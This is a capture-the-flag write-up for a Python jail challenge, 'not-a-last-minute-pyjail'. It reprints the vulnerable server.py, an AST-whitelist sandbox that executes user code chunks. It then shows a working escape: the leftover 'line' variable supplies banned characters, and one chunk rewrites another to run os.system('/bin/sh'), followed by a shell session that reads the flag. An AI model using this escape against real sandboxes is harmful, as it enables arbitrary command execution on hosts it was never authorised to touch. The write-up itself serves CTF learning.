not-a-last-minute-pyjail

personally it was like a 3/10 difficulty because of the unintended and because there’s really not much to look at here

made by the wrong quasar

big thanks to spencerpogo for helping me about the code chunk modification discovery in this chall

problem

image

server.py

#!/usr/local/bin/python
# Copyright 2022 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
#
# Flag is in a file called "flag" in cwd.
#
# Quote from Dockerfile:
#   FROM ubuntu:22.04
#   RUN apt-get update && apt-get install -y python3
#

if __name__ != "__main__":
    1/0  # Not a module

import ast
import sys
import os


def verify_secure(m):
    for x in ast.walk(m):
        match type(x):
            case (ast.Lambda | ast.alias | ast.Assign | ast.Add | ast.Subscript | ast.Dict | ast.Store | ast.arg | ast.Pow | ast.Expr | ast.Div | ast.BinOp | ast.Sub | ast.Name | ast.Mult | ast.Module | ast.Load | ast.Constant | ast.Import | ast.ClassDef | ast.arguments | ast.UnaryOp | ast.USub):
                continue
            case _:
                print(f"ERROR: Banned statement {x}")
                return False
    return True


abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
os.chdir(dname)

print("-- Please enter code (last line must contain only --END, will be split by --CHUNK)")
source_code = ""
while True:
    line = input() + "\n"
    if line.startswith("--END"):
        break
    source_code += line

if '@' in source_code or '.' in source_code or '(' in source_code or ')' in source_code or '#' in source_code:
    print("ERROR: @.()# are banned")
    exit(1)


chunks = source_code.split("--CHUNK\n")
for chunk in chunks:
    tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
    if not verify_secure(tree):
        exit(1)

for chunk in chunks:  # Safe to execute!
    print("-- Executing safe code:")
    print(chunk)
    exec(chunk)

solution

there were a bunch of unintendeds with this one but the unintended i found was weird and probably might not be patched on the first go-around of patches if the other quasar patched it instead of doing it last minute (does that make sense)

the vuln here is that the “chunks” can modify each other, and also, we can get access to restricted characters by using the “line” variable, which stays in scope.

because of the following code, we can put in --END.() and get arbitrary code execution

    if line.startswith("--END"):
        break

exec runs the compiled code chunks, so we can’t easily modify a code chunk, but we can replace one of the chunks with a string to execute that string.

because of the startswith, the line variable remains in the global scope while not being eligible for verify_secure detection as it’s not part of the source code

therefore:

quasar@quasar098:~$ nc vsc.tf 3445
-- Please enter code (last line must contain only --END, will be split by --CHUNK)
chunks[1] = "os"+line[5]+"system"+line[6]+'"/bin/sh"'+line[7]
--CHUNK
a
--END.()
$ ls
run
$ ls /
app
bin
boot
dev
etc
flag.poyvHVzi1MUB72nR0gly.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat /flag*
vsctf{PYTHONNNNNN_SO_FUNNN}